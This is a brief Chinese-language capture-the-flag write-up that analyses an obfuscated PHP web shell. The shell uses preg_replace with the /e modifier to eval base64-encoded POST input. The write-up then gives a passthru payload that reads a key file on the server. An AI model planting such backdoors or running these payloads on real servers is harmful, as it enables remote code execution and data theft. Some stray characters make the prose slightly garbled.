有源碼如下:
<?php
@$a=$_POST['Hello'];
if(isset($a)){
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>
Hello
分析:
- 首先把這串字符串通過base64解碼可得
[@eval(base64_decode($_POST[z0]));]
那么原來(lái)的語(yǔ)句就變成了@preg_replace("/\[(.*)\]/e",'\\1',[@eval(base64_decode($_POST[z0]);]));
- 那么把$_POST[z0]進(jìn)行base64encode即可驯遇,最后通過post的方式將z0與Hello一并發(fā)送出去
- payload可以設(shè)置成
echo passthru("cat ../key.php");